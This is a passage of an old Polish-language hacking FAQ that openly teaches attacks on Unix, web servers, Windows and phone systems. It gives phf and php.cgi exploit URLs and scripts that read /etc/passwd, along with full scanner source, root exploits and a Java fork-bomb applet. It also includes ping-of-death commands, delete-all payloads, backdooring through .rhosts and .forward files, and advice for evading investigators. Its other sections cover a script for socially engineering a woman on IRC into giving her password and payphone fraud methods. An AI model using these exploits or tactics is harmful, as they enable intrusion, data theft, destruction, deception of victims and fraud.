Takie mozliwosci sa najczescie na serverach uczelnianych, np po trzech
zlych loginach nalezy podac specjalne haslo, bo jak nie to konto jest
zamrazane.

6 Anonymous FTP : P0WER
Gdy server posiada Anonymous FTP z zapisywalnymi obszarami mozna bardzo
latwo namieszac.
Na przyklad zapychajac twardziela. Na przyklad takim programem:

        while : ;
        mkdir .xxx
        cd .xxx
        done
{choc nie wiem czy cokolwiek odpalicie przez ftp, ale jest przeciez jeszcze
guest)
Poza tym to swietny sposob na zapchanie twardziela jesli juz wejdziesz do
srodka.

7 Wlamac sie do servera jako guest : lcamtuf
-Zaloguj sie jako guest przez telnet (admin musi byc malo rozgarniety, zeby
zostawic ta dziurke).
-Korzystajac z zapisywalnych obszarow, czyli np katalogu typu trash, lub
tmp nagrac, skompilowac i uruchomic taki programik w C:

#include 
void main(void) {
  struct passwd *p;
  while (p=getpwent()) printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name,
  p->p_passwd, p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}

dzieki temu otrzymasz plik z haslami.
A potem to juz chyba wiesz co robic!!!
Lecz to dziala juz tylko na starych systemach Unixa.

8 Ping flood : P0WER
Nie to nie irc, to unix.
Tutaj mozna poslac takze ping 
ping -s host   (Unix)
powoduje wyslanie 64 bajtow do hosta.

W Shicie 95 tez mozna poslac pinga.
NAcisniej klawisz "start", potem "uruchom" i wpisz:
PING -T -L 256 xxx.xxx.xxx.pl  -  taki tekst wystartuje okolo 15 sesji.

ale co sie bedziemy rozdrabniac, przeciez chcemy namieszac!

PING -l 65510 adres.do.spingowania.pl

Zamrozi to maszynke lub ja przeresetuje(ale nie wiem czy nie spali ci
twojego lacza modemowego ;)
Po prostu, nie wiem czy to zadziala przez modem.(ale jak jakis twoj kumpel
odpalil Linuxa na modemie to mozeci eksperymentowac)

Ponoc dziala na kernel 2.0.7 up to version 2.0.20. i 2.1.1. na Linux
(crash).
AIX4, OSF, HPUX 10.1, DUnix 4.0 (crash).
OSF/1, 3.2C, Solaris 2.4 x86 (reboot).

9 Jak kogos nastraszyc : P0WER
Wyobraz sobie, ze siedzisz przed kompciem i czytasz czyjas poczte i nagle
widzisz napis:
Admin: Mam cie na oku ;)
Robisz w gacie i spieprzasz z servera. 
Q1: Jak to zrobic???
A1: To proste jak drut:)
1 cd /dev
2 ls -l tt*
teraz masz spis wszystkich zalogowanych uzytkownikow
3Napisz tylko
 >echo Admin: Mam cie na oku! >! /dev/ttyp08
(ttyp08 to przykladowy terminal)
Mozna tez inaczej
1 finger enemyname
zobaczysz:
enemyname  logged on since 12:24 from 194.165.56.7 on ttyp08
No i teraz tylko:     
 >echo Admin: Mam cie na oku! >! /dev/ttyp08

10 Do czego sluza pliki .xxxx : P0WER
Pliki .xxxx sa z reguly plikami konfiguracyjnymi.
Nie ujawniaja sie gdy listujesz katalog, chyba ze robisz to z atrybutem -a
Pozwalaja one czytac cudza poczte, odpalac cudze pliki, czy wchodzic na
czyjes konto bez hasla.
Lecz mozna wykorzystywac je tylko wtedy gdy wlasciciel konta jest lamerem i
nie wie do czego one sluza, bo w przeciwnym razie twoje modyfikacje zostana
wykryte.

.rlogin
Jest to plik, zawierajacy komendy, ktore uruchamiane sa za kazdym razem gdy
uzytkownik loguje sie na konto.
Zeby kogos zalatwic mozna w nim umiescic komende logout, ale tak robia
tylko lamery.
Jesli chcesz wywinac numer wpisz w niego chmod 777 * aby pliki uzytkownika
byly dostepne dla wszystkich.
Mozesz zrobic tez wiele innych rzeczy, wiec jako doswiadczony hacker sam
dojdziesz do tego(lub nie ;)

.rhosts
W tym pliku zawarte sa adresy zaufanych hostow.
Kazdy kto zaloguje sie przez remote login z takiej maszyny nie musi podawac
hasla.
Gdy umiescisz "+ +" w tym pliku to kazdy host bedzie zaufany.(opisalem ten
numer w punkcie I-6)

.forward
Jesli w tym pliku umiescisz jakis adres e-maila to cala poczta uzytkownika
bedzie rowniez wysylana pod podany adres.

11 Sciaganie passwd : P0WER
Pamietaj, ze gdy sciagasz hasla zapisuje sie to w logach.
Oto kawalek loga z servera x . Jest to plik syslog.0 
Byl tam tez plik syslog , w ktorym logi i inne rzeczy zapisywane byly przez
24h 
Natomiast plik syslog.0 przechowywal te dane przez tydzien.
Byl tez plik netlog ktory przez miesiac przechowywal wszystkie bledne
polecenia skierowane do servera(przynajmniej tak to wygladalo).
Wiecie w ogole ilu ludzi pobiera haselko w ciagu tygodnia z takiego
popularnego servera!!!

Apr  8 22:04:01 srv1 sendmail[5623]: AA05623: from="|/bin/mail
root@194.204.147.39  [low port] [high port]
ident-scan www.lamers.com 1 9999

---cut here---
/*
 *   ident-scan [v0.15]
 *   This TCP scanner has the additional functionality of retrieving
 *   the username that owns the daemon running on the specified port.
 *   It does this by by attempting to connect to a TCP port, and if it
 *   succeeds, it will send out an ident request to identd on the
 *   remote host.  I believe this to be a flaw in the design of the
 *   protocol, and if it is the developers intent to allow 'reverse'
 *   idents, then it should have been stated clearer in the
 *   rfc(rfc1413).
 *
 *   USES:
 *   It can be useful to determine who is running daemons on high ports
 *   that can be security risks.  It can also be used to search for
 *   misconfigurations such as httpd running as root, other daemons
 *   running under the wrong uids.
 *
 *   COMPILES:  Compiles fine under Linux, BSDI and SunOS 4.1.x.
 *
 *   Dave Goldsmith
 *   
 */

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

enum errlist
{
  BAD_ARGS,BAD_HOST,NO_IDENT,SOCK_ERR
};

void
usage(error)
enum errlist error;
{
  fprintf(stderr,"ident-scan: ");
  switch(error)
  {
    case BAD_ARGS: fprintf(stderr,"usage: ident-scan hostname [low port]
[hi port]\n");
                   break;
    case BAD_HOST: fprintf(stderr,"error: cant resolve hostname\n");
                   break;
    case NO_IDENT: fprintf(stderr,"error: ident isnt running on host\n");
                   break;
    case SOCK_ERR: fprintf(stderr,"error: socket() failed\n");
                   break;
  }
  exit(-1);
}

struct hostent *
fill_host(machine,host)
char *machine;
struct hostent *host;
{

  if ((host=gethostbyname(machine))==NULL)
  {
     if ((host=gethostbyaddr(machine,4,AF_INET))==NULL)
        return(host);
  }
  return(host);
}

int
main(argc,argv)
int argc;
char **argv;
{
  struct sockaddr_in forconnect,forport,forident;
  int i,sockfd,identfd,len=sizeof(forport),hiport=9999,loport=1,curport;
  struct servent *service;
  struct hostent *host;
  char identbuf[15], recieved[85], *uid;

  if ((argc<2) || (argc>4))
    usage(BAD_ARGS);
  if (argc>2)
     loport=atoi(argv[2]);
  if (argc>3)
     hiport=atoi(argv[3]);
  if ((host=fill_host(argv[1],host))==NULL)
    usage(BAD_HOST);
  forconnect.sin_family=host->h_addrtype;
  forconnect.sin_addr.s_addr=*((long *)host->h_addr);
  forident.sin_family=host->h_addrtype;
  forident.sin_addr.s_addr=*((long *)host->h_addr);
  forident.sin_port=htons(113);

  if ((identfd=socket(AF_INET,SOCK_STREAM,0))== -1)
     usage(SOCK_ERR);
  if ((connect(identfd,(struct sockaddr *)&forident,sizeof(forident)))!=0)
     usage(NO_IDENT);
  close(identfd);

  for(curport=loport;curport<=hiport;curport++)
  {
     for(i=0;i!=85;i++)
        recieved[i]='\0';
     forconnect.sin_port=htons(curport);
     if ((sockfd=socket(AF_INET,SOCK_STREAM,0))== -1)
        usage(SOCK_ERR);


     if (connect(sockfd,(struct sockaddr *)&forconnect,sizeof(forconnect))==
0)
     {
       if (getsockname(sockfd,(struct sockaddr *)&forport,&len)==0)
       {
          if ((identfd=socket(AF_INET,SOCK_STREAM,0))== -1)
             usage(SOCK_ERR);
          if (connect(identfd,(struct sockaddr *)&forident,sizeof(forident))
==0)
          {
             sprintf(identbuf,"%u,%u",htons(forconnect.sin_port),
                htons(forport.sin_port));

             write(identfd,identbuf,strlen(identbuf)+1);
             read(identfd,recieved,80);
             recieved[strlen(recieved)-1]='\0';
             uid=strrchr(recieved,' ');
             service=getservbyport(forconnect.sin_port,"tcp");
             printf("Port: %3d\tService: %10s\tUserid: %s\n",curport,
                (service==NULL)?"(?)":service->s_name,uid);
          }
       }
    }
    close(sockfd);
    close(identfd);
  }
}
---eof---

14 Kill all processes : P0WER

Po zdobyciu roota ten prosty programik zkilluje wszystkie procesy!

#!/bin/sh
sync
kill -15 1


V Dziury w WWW. 

1 phf - sciaganie passwd przez przegladarke : P0WER
Jeden ze starych sposobow:
http://xxx.xxx.xxx/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
(dla lam: w miejsce xxx.xxx.xxx wpisujesz adres servera. ktory jest celem
ataku np free.polbox.pl)
Jesli hasla beda shadowane(!, * itd w miejscu hasel) to mozna sprobowac
/etc/shadow , ale male szanse, ze zadziala.

Ale lepiej uzyc kilku komend:

http://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickna

 me=&Qoffice_phone=
http://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname=
 haqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd
 %0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/~someuser/passwd
http://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname

 =haqr&Qemail=&Qnickname=&Qoffice_phone=

Wykonaja one cos w tym stylu:

	id
	ls -la ~someuser
	cp /etc/passwd ~someuser/passwd
	(normal URL access to get the passwd file)
	rm ~someuser/passwd

W ten sposob mozna nawet probowac czytac czyjas poczte. (np admina)
http://www.xxx.xxx.pl/cgi-bin/phf?Qalias=x%0a/bin/cat%20/usr/spool/mail/root
/...
lub tak
http://www.serwer.com/cgi-bin/phf.cgi?.../var/spool/mail/root
(http://www.serwer.com/cgi-bin/phf.cgi?.../var/spool/mail/username)
A tutaj macie program, ktory sluzy go phf.

-----cut here----
#!/bin/sh
# Coded by: AgentOrange
echo "Enter the domain you wish to try the phf bug on."
read host
if [ "$host" = "*" ] ; then
exit 1
fi
echo  "Enter the command you wish to execute"
read com
if [ "$com" = "*" ] ; then
exit 1
fi
echo "Enter the file you with to execute this command on, if any"
read file
if [ "$file" = "*" ] ; then
exit 1
fi
lynx $host/cgi-bin/phf?Qname=root%0A$com%20$file
exit 0
----cut here-----

2 php - Nowa dziura znaleziona przez DIS (16-04-97) : P0WER
Jest to dziura w skrypcie cgi z httpd (PHP/FI). 
Pozwala ona na przegladanie plikow z servera.
a oto prosty przyklad:

http://xxx.xxx.pl/cgi-bin/php.cgi?/plik/do/przejrzenia

3 phpscan.c skaner php : P0WER
Jest to program skanujacy servery pod katem dziury w php.

phpscan domeny.txt wynik.txt

----cut here---
/*

  phpscan.c : php.cgi vunerable server scanning program.
  
  Basically a modified phf scanner, by Alhambra of The Guild.
  Modifications to php.cgi by so1o of The CodeZero.

  Usage:
        phpscan  

*/

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#ifdef LINUX
#include 
#endif
#include 
#include 
#include 
#include 
#include 
#include 
int FLAG = 1;
int Call(int signo)
{
 FLAG = 0;
}

main (int argc, char *argv[])
{
  char host[100], buffer[1024], hosta[1024],FileBuf[8097];
  int outsocket, serv_len, len,X,c,outfd;
  struct hostent *nametocheck;
  struct sockaddr_in serv_addr;
  struct in_addr outgoing;

  char PHPMessage[]="GET cgi-bin/php.cgi?/etc/passwd\n";

  while(fgets(hosta,100,stdin))
    {
      if(hosta[0] == '\0')
      break;
      hosta[strlen(hosta) -1] = '\0';
      write(1,hosta,strlen(hosta)*sizeof(char));
      write(1,"\n",sizeof(char));
      outsocket = socket (AF_INET, SOCK_STREAM, 0);
      memset (&serv_addr, 0, sizeof (serv_addr));
      serv_addr.sin_family = AF_INET;
     
      nametocheck = gethostbyname (hosta);

      (void *) memcpy (&outgoing.s_addr,       nametocheck->h_addr_list[0],s
izeof       (outgoing.s_addr));
      strcpy (host, inet_ntoa (outgoing));
      serv_addr.sin_addr.s_addr = inet_addr (host);
      serv_addr.sin_port = htons (80);
      signal(SIGALRM,Call);
      FLAG = 1;

      alarm(10);    

      X=connect (outsocket, (struct sockaddr *)       &serv_addr, sizeof
(serv_addr));
      alarm(0);

      if(FLAG == 1 && X==0){
       write(outsocket,PHPMessage,strlen(PHPMessage)*sizeof(char));
       while((X=read(outsocket,FileBuf,8096))!=0)         write(1,FileBuf,X)
;
       }
       close (outsocket);   
    }
  return 0;
}
---eof---

4 phpget.c
Jest to program, ktorym poprzez php mozesz sciagnac kilka ciekawych
plikow:

  /etc/passwd
  /etc/hosts
  /etc/services
  /etc/syslogd.conf
  /etc/inetd.conf

phpget   

phpget www.lamers.com /etc/passwd

---cut here---
/*

  p1 (peewun@heterosexual.com)

  This code retrieves a file using php.cgi on a remote system.
  This program is for educational purposes only.  Use it on p1.com.

*/

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

FILE    *server;
int sock;

void do_connect(char *host, char *toget);
void do_connect(char *host, char *toget)
{
    char inbuf[1024];
    struct sockaddr_in sin;
    struct hostent *hp;
    char *tmpbuf;

    hp = gethostbyname(host);
    bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
    sin.sin_family = hp->h_addrtype;
    sin.sin_port = htons(80);
    sock = socket(AF_INET, SOCK_STREAM, 0);

    if ( -1 < connect(sock, (struct sockaddr *) &sin, sizeof(sin)) ) {
       printf("Made connection to %s.\n\n", host);
    } else {
       printf("Failed to connect to %s.\n\n",host);
       exit(0);
    }

    server=fdopen(sock, "a+");
    fprintf(server, "GET /cgi-bin/php.cgi?%s\n",toget);
    printf("Output from php.cgi request:\n\n");
    while(1){
       if (fgets(inbuf, 1024, server) == NULL)
          break;
       printf(inbuf);
    }

}                       
main(int argc,char **argv)
{
    printf("\nThis program retrieves files off a remote system using
php.cgi.\n");
    printf("Author: p1 - peewun@heterosexual.com\n");
    if (argc < 3) {
      printf("Usage: %s  \n",argv[0]);
      printf("   Ex: %s www.p1.com /etc/passwd\n",argv[0]);
    }
    else {
      char *buffer;
      (char *)"exit";
      do_connect(argv[1],argv[2]);
      exit(1);
    }
}
---eof---


VI Klopoty

1 Podejrzenia : P0WER

Opisuje tu tez co dzieje sie jak wpadniesz w klopoty i jak sobie radzic!

    - Jezeli jestes podejrzany (nie wazne czy przez policje czy
administratora) to musisz podjac specjalne dzialania by wybrnac z tego
gowna!
    - Pamietaj, ze jesli podejrzewaja cie o hackerstwo to jestes winny
dopoki nie udowodnisz niewinnosci!
    - Administratorzy sieci maja w dupie prawo i jesli zechca to moga
czytac twoje listy, monitorowac twoje polaczenia i robic waszystko co im
sie podoba. Jak to ktos stwierdzil roznica miedzy hackerem a administratorem
 jest tylko taka, ze system nalezy do niego ;) Jak juz mowilem jestes
winny. Zaczna monitorowac twoja poczte, pliki, a jak maja wchody to zaczna
monitorowac twoje polaczenia telefoniczne. Dlatego przez pewien czas nie
powinienes robic zadnych akcji. Przynajmniej wsztrzymac sie na miesiac lub
dwa. Powiadomic przyjaciol by nie wysylali ci niczego konkretnego, zadnej
kodowanej poczty, bo to jest od razu podejrzane. Wyluzuj i zacznij pisac
teksty i narzedzia, by nie stracic kontaktu ze srodowiskiem hackerskim.
Schowaj tez lub zlikfiduj wszystkie kompromitujace ciebie i twoich kolegow
materialy. Numery telefonow itd.

- A oto kawalek listu jaki mozesz dostac gdy cie namierza.

Szanowny Panie!
   Wykrylismy w naszym systemie probe naruszenie przez Pana bezpieczenstwa
sieci firmy K3 DOM.
Chcielibysmy niniejszym przestrzec Pana, ze wlamania do sieci
komputerowych
sa przestepstwem i 
jako takie moga byc scigane z powodztwa cywilnego (art. 199-202
zagarniecie
mienia, art. 212 i 
220 zniszczenie mienia, art. 260 i 264 ujawnienie informacji, art. 265-268
uszkodzenie lub 
zniszczenie dokumentu). Prowadzimy dalszy, intensywny monitoring systemu w
celu wykrycia 
nastepnych prob wlamania i jesli zajdzie taka koniecznosc, zglosimy fakt
proby wlamania do 
naszego systemu w Biurze Dochodzeniowo-Sledczym KG Policji.
   Prosze pamietac, ze korzystanie z darmowego konta w polbox oraz uslug
serwera 
telekomunikacji nie zapewnia calkowitej anonimowosci, gdyz na wniosek
prokuratora T.P. SA 
udostepnia billing polaczen do kazdego modemu dostepowego, ktory moze byc
dowodem w 
postepowaniu karnym.
  
Wedlug mnie dopoki nie namieszasz to duzo ci nie zrobia, jesli niczego im
nie skasowales, nie widac, ze czytales czyjas poczte itd, to te artykuly
nic nie mowia, ale nie jestem prawnikiem :) 
Po prostu  NIE DAJCIE SIE ZLAPAC i tyle!!!!!!!!
Jesli ktos z was ma doswiadczenie w prawie polskim dotyczacym hackerow, to
niech sie ze mna skontaktuje. 

VII Unix bugs : lcamtuf
{Miejsce na reklame: ten kawalek napisany zostal przez goscia o nick'u:
lcamtuf ;) }

 1. W systemach AIX wywolanie polecenia
tprof -x /bin/sh
wywola nowa kopie shella (sh) bez ograniczen
dostepu (czyli masz roota).

 2. W systemie AIX 2.2.1 plik etc/shadow (z haslami)
mozna przepisac wlasna wersja pliku (!!!)
Wiec piszesz tak:
echo "rewt::0:0:blahness:/:/bin/sh" >> /etc/shadow
Do pliku /etc/shadow dodany zostanie nowy uzytkownik
rewt (rewt:0:0:blahness:/:/bin/sh).
A pozniej logujesz sie przez telnet jako user "rewt" i jestes w
systemie jako root.

 3. W AIX 3.x.x dziura w usludze rlogin - po wykonaniu polecenia
rlogin localhost -l -froot
Masz roota.

 4. BSD 4.2, ULTRIX 3.0 - ogladanie dowolnego pliku przez dziure w
fingerze. Wykonujesz polecenia (lamer to jakikolwiek id uzytkownika).
ln -s /etc/shadow /home/lamer/.plan
finger lamer
A wtedy poza standardowa informacja fingera pojawi ci sie zawartosc
podanego pliku (/etc/shadow).
PS. Polecenie ln sluzy do przylaczenia jednego pliku do drugiego,
a plik /home/lamer/.plan to "standardowa" odpowiedz na finger.

 5. DYNIX 3.0.14, ULTRIX 2.X - za pomoca sendmaila mozna przeczytac
dowolny plik w systemie. Polecenie
sendmail -C /etc/shadow
zwroci zawartosc pliku /etc/shadow, czyli masz hasla.

 6.DYNIX (wszystkie), IRIX (wszystkie) - za pomoca rsh (remote shell)
mozna wywolac dowolne polecenie z uprawnieniami roota. Czyli:
rsh localhost -l "" /bin/sh
uruchomi nam shella i bedziemy mieli pelen dostep.

 7. HP-UX <7.0 - polecenie chfn pozwala umiescic symbol nowej
linii w linii polecen (^M) i tym samym dodanie nowego uzytkownika (rewt)
- patrz bug #2. Piszesz na koncie:
chfn -f looser^Mrewt::0:0::/:/bin/sh
Pozniej logujesz sie poleceniem:
rlogin localhost -l rewt
I masz roota.

8. Solaris 2.5, ale prawdopodobnie dziala tez na innych : Brajek

Jesli masz konto to piszesz
ping -sv -i 127.0.0.1 224.0.0.1
i komputer sie zrebootuje

VIII Skrypty java

1Killer java : lcamtuf
Jest to maly programik w Javie, ktory uruchamia w
chwili wejscia na strone lawinowa ilosc zadan,
kazde z nich odpala z kolei nowe... Robi sie z
tego cholerna zadyma, w pol sekundy kazdy
system wisa, poniewaz procesorowi nie starcza
czasu nawet na obsluge myszy. Nie ma tez prostego
patcha przeciw temu skryptowi [RESET]... Mozna wylaczyc
Jave w przegladarce, ale wtedy wiekszosc stron bedzie
chodzic nieprawidlowo :-)

Oto jak musi wygladac kawalek kodu w HTMLu,
ktory wstawiamy gdziekolwiek na strone:



Teraz kazdy kto wejdzie na strone zawierajaca ten
"dodatek" spotka sie ze wspaniala niespodzianka -
komputer totalnie sie zawiesi (Explorer) albo
zresetuje (Netscape)... Powodzenia :-)

Plik Killer.class (uwaga na rozmiar liter!) uzyskasz po
kompilacji Killer.java, ktory musi wygladac tak:

-- Killer.java --

// Killer.java
// (c) lcamtuf 97 for HMG
// ----------------------

import java.io.InputStream;
import java.applet.Applet;
import java.awt.*;
import java.net.*;

public class Killer extends java.applet.Applet implements Runnable {

  Thread me;

  public void start() {
    while (true) {
      me=new Thread(this);
      me.start();
    }
  }

  public void run() { start(); }
  public void stop() {}
  public void init() {}

}

-- Eof --

2 Okno javy : Angel

A oto strona html , ktora doprowadzi do szalu kazdego uzytkownika.



BoNuS






---eof---

IX Windows NT : lcamtuf

1. Hasla (BSD): http://www.serwer.com/~root/etc/passwd

2. Hasla: http://www.serwer.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/pas
swd 

3. Hasla (BSD): http://www.serwer.com/~bin/etc/passwd

4. Pod Windows NT:
http://www.serwer.com/scripts/pfieffer.bat?&xxx+?&yyy+?&zzz+...+?&time

bedzie rownowazne z wykonaniem polecen xxx, pozniej yyy i zzz (czyli
takiego BATa). Co wiecej
ostatnie polecenie spowoduje, ze calosc nie pojawi sie w logach systemowych
:-) W nowych
NT bug jest naprawiony, ale wystarczy zastapic pfieffer.bat dowolnym innym
batem znajdujacym
sie w /scripts/ i juz wszystko znowu dziala :-)

5. Windows NT: telnet www.serwer.com 80, wpisujac "GET ../.." i poslugujac
sie odpowiednia
iloscia ".." mozna pobrac dowolny plik z dysku.

6. Pod Windows NT (Netscape Server):
http://www.serwer.com/cgi-bin/test.bat?&xxx

Pozwala wykonac polecenie 'xxx' (dir).
http://www.serwer.com/cgi-bin/perl.exe?&-e+unlink+%3C*%3E
Pozwala skasowac wszystko w aktualnym katalogu.

7. Stary IntranetWare:
http://www.serwer.com/scripts/convert.bas?../../xxx
Pozwala odczytac plik xxx

8. CERN httpd:
Podobno przy starym httpd na porcie 80 firewall jest bezuzyteczny
(mozna sie laczyc bez ograniczen - portfuck :-)

9. Kiedys mozna bylo wpisac w AltaVista np "0:0", jesli jakis
serwer byl zle skonfigurowany to plik /etc/passwd zostawal
dodany do zbiorow przegladarki :-o Nie wiem jak teraz,
ale na 100% COS SIE DA SCIAGNAC, tylko trzeba zobaczyc
ktoredy.

PS. Jesli phf i podobne zwracaja zamiast hasel znaczki '*' to zamiast
/etc/passwd sprobujcie /etc/shadow albo /ect/passwd-

- - - - BUG #1 w IE

W IE (wersje starsze od 3.2) mozliwe jest wykonanie
dowolnego polecenia lub serii polecen na komputerze przegladajacego
strone.
Jest to cholernie powazna dziura, poniewaz autor strony www moze
dowolnie modyfikowac zawartosc dysku przegladajacego, formatowac,
kasowac, a nawet przesylac je dalej.
Na dobry poczatek wypada utworzyc strone zawierajaca taki tekst.

kliknij tutaj

Pozostaje jeszcze stworzyc plik test.url wygladajacy tak:

[InternetShortcut]
URL=file://calc.exe

(trzeba go wrzucic obok strony na serwer).

Teraz gdy ktos klinkliknie na napis "kilknij tutaj" - bez pytania na jego
komputerze zostanie odpalony kalkulator. Oczywiscie kalkulator
to tylko przyklad. Trzeba dodac, ze program zostanie znaleziony
w PATHu, nie musimy podawac katalogu.
To jednak nie wszystko - prawdziwe pieklo rozpoczyna sie
pod Windows 95 (uzytkownicy NT sa bezpieczni). Wystarczy w Win95
utworzyc w katalogu ze strona skrot (Shortcut) do interesujacego nas
programu, np "c:\command.com", w miejscu linii polecen warto wpisac
np, "/cmkdir c:\test". Otrzymany plik, powiedzmy TEST.LNK
LNK, ktory skopiujmy do katalogu z nasza strona
pod nazwa test.lnk i zmodyfikujmy strone:

kliknij tutaj

Jesli klinkniemy - na dysku zostanie utworzony
katalog c:\test. Ale to nie wszystko - mozna
wywolac takze polecenia typu format, rmdir...
Jesli chcemy, aby polecenie wykonalo sie
od razu po wejsciu na strone albo zeby wykonala
sie cala sekwencja polecen (cos jak plik BAT) -
powinnismy uzyc meta-polecenia 'refresh' (wiecej
danych gdzies w specyfikacjach html'a).

Czas na podsumowanie:

Pliki URL - Windows 95 i Windows NT - polecenie szukane w PATHu - nie mozna
podac linii polecen
Pliki LNK - tylko Windows 95 - trzeba podac dokladny katalog - mozna podac
linie polecen

Oczywiscie pliki LNK sa potezniejsza bronia, chociaz dzialaja tylko pod
win95.
Jednakze odpowiednie parametry podane programom w stylu edlin czy debug
potrafia
zrobic naprawde wszystko z komputerem :-) A co sie tyczy katalogu -
wiekszosc
uzytkownikow Win95 ma je zainstalowane w C:\WINDOWS, zas okolo 2% w
C:\WIN95


X Cos dla lamerow : P0WER

Dobra jezeli przeczytales ten tekst i prawie niczego nie kapujesz, to
oznacza ze albo jestes skonczonym lamerem, ablo to dobpiero twoje
poczatki.
Wiec mam tu cos i dla ciebie, jest to kilka sposobow, do uzycia ktorych ja
bym sie nie posunal, ale jako poczatkujacy lamer masz do tego pelne prawo
:)

1 Podszywanie sie pod kogos
Zacznijmy od tego, ze poczatkujacym lamerom najtrudniej zawsze jest zdobyc
magiczny plik passwd.
Wiec jesli nie umiesz wlamac sie do systemu to sprobuj inaczej.
 - Wkrec sie w jakies srodowisko na irc
 - Podszukaj jakiejs glupiej laski(bo tak najlatwiej)
 - Wejdz z nickiem jakiegos jej kolegi, ktory ma konto na tym samym
serverze co ona
 - Najlepiej zmien tez imie , i inne sprawy po ktorych rozpoznaje sie ludzi
na irc
 - Przyjdz tez najlepiej z servera irc, ktory podaje ip zamiast hostu
 - Zaczni zagadywac ja , powiedz ze cos ci konto szwankuje i nie mozesz
wejsc na wasz server i ....
 - Po jakims czasie zaproponuj zeby ona podala ci swoje haslo, bys mogl
dostac sie na server
 - Jesli sie zgodzi to chyba juz wiesz co robic..
 - Ale nie niszcz niczego na tym serverze bo narobisz idiotce klopotow,
powinienes jej byc wdzieczny, bo jaki piekny jest ten swiat dzieki takim
lamerom.

2 Wymiana hasel
Jesli masz juz cos w swoich zasobach to mozesz wejsc na kanal #hack , czy
#hackpl i sprobowac cos wymienic.
Ale z doswiadczenia wiem ze to co dostaniesz to przewaznie jakies gowniane
konta, ale to juz jest cos dla poczatkujacego lamera.

3 Popros doswiadczonego hackera.
Tak mozna i tak. Ale male szanse ze ci sie uda. Czasem ktos zlituje sie nad
toba i dostaniesz jakies konto.

4 Mozez isc na irc
Mozesz tez probowac wkrecic sie w srodowisko hackreskie na irc, o to by
zdobyc troche wiedzy.
Ale musisz pamietac, ze kanalt jak #hack,  #hackpl , czy #2600 i inne tego
typu, to miejsca gdzie rzadzi ignorancja, ktora wypycha z ludzi resztki
wiedzy i inteligencji.
Sa tam tez w porzadku goscie, ale jest ich malo. Przewaznie sa to kanaly
gdzie dzieci, ktore nia maja idealow walcza o to by zdobyc opa i pokazac
wszystkim jakimi sa hackerami.
Na szczescie na naszym #hack nie jest jeszcze tak tragicznie, powiem wiecej
tam jest super :) ale proba wejscia na #hack IRCNET'u moze byc wielkim
rozczarowaniem.


5 Mozesz zalatwic sobie takze darmowe konta telnetowe.
np na nyx.net lub qnx.com
login: new
i juz jestes w srodku, ale takie servery sa dobrze monitorowane.
Ale mozna w nich za to dokladnie zapoznac sie z budowa servera.

XI Phreak : Angel {jak ktos to przetestuje, lub zna cos innego to niech od
razu daje znac:}

1. Phreakownie i lyzka

      sposob z lyzka kuchenna...hhe...tja...no wiec mamy aparat
telefoniczny
      no i tam gdzie jest miejsce na zwrot monet wpierdalamy lyzke
(widelec
      itp.) no i jak laczy aparat i slychac "TEEEEEEEEETT" to wtedy
ruszamy
      lyzka na max...no i jest connect...sprawa sie nieco komplikuje gdy 
      dzwonimy na LD...bo impulsy sa czesciej naliczane <=> trzeba ruszac 
      co chwile lyzka...
     
   
   2. Phreakowanie i zapalarka

      Mamy zapalarke to prowadzimy dwa druciki i: jeden musimy podlaczyc 
      jako masa, a drugi gdzies podlaczyc do tarczy aparatu...no i aby
connect 
      byl utrzymany trzeba zapierdalac zapalarka..(hmm..ten patent jest w
sumie
      cieniutki - po krotkim juz czasie boli lapa od ruszania zapalarka,
      a pozatym na 2o-3o % aparatow to dziala...)
       
   
   3. Phreakowanie i Tone Dialer

      korzystanie z tkz "TONE DiALER'a" - generatora tonow o czestotliwoscia
ch
      takich samych jak mamy w telefonie of coz..
      No i w tym wypadku mozna korzystac jedynie z telefonow podlaczonych
      do centrali tonowej, ale w dodatku musza to byc telefony z wciskana 
      klawiaturka [te na zetony]; no i sprawa jest prosta...przykladamy TD
      do sluchawki, wystukujemy numer i ...gadamy ile chcemy i z kim
chcemy



Jesli ktos uwaza , ze faq jest denne to nie musi go czytac ;), a jezeli
ktos czegos nie rozumie to jeszcze nie powod, by pisac do mnie list.
Ale w razie czego jestem osiagalny pod adresem p0wer@geocities.com
Lub na IRC na kanale #hackpl.
Jesli masz jakies materialy, ktore mozna by wrzucic do tego Faq, to
pisz!!!

Najnowsza wersja tego faq bedzie zawsze dostepna na stronie:
http://www.geocities.com/SiliconValley/Way/6622/indexpl.htm

Co do dystrybucji to mozecie to faq dawac kazdemu, umieszczac na swoim www
ale pod warunkiem, ze nic w nim nie zmienicie.


                                      P0WER